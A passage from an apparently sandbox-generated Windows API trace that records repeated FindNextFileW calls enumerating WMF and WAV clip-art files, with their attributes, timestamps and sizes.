lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec5c200, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ec5c200, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196164.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81ec6b00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81ec6b00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1216, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196374.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929ce100, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x929ce100, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x8cbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196400.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fc00, ftCreationTime.dwHighDateTime=0x1bdf0c6, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91fc00, ftLastWriteTime.dwHighDateTime=0x1bdf0c6, nFileSizeHigh=0x0, nFileSizeLow=0x2518, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199036.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b0eb00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb1b0eb00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199727.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc6b8000, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbc6b8000, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199755.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311d700, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd311d700, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0199805.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ccab00, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85ccab00, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x2398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205462.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89603200, ftCreationTime.dwHighDateTime=0x1be4d5e, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x89603200, ftLastWriteTime.dwHighDateTime=0x1be4d5e, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205466.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14d9c300, ftCreationTime.dwHighDateTime=0x1be4d5f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x14d9c300, ftLastWriteTime.dwHighDateTime=0x1be4d5f, nFileSizeHigh=0x0, nFileSizeLow=0x17f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0205582.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e240a00, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0073.455] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0073.456] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, 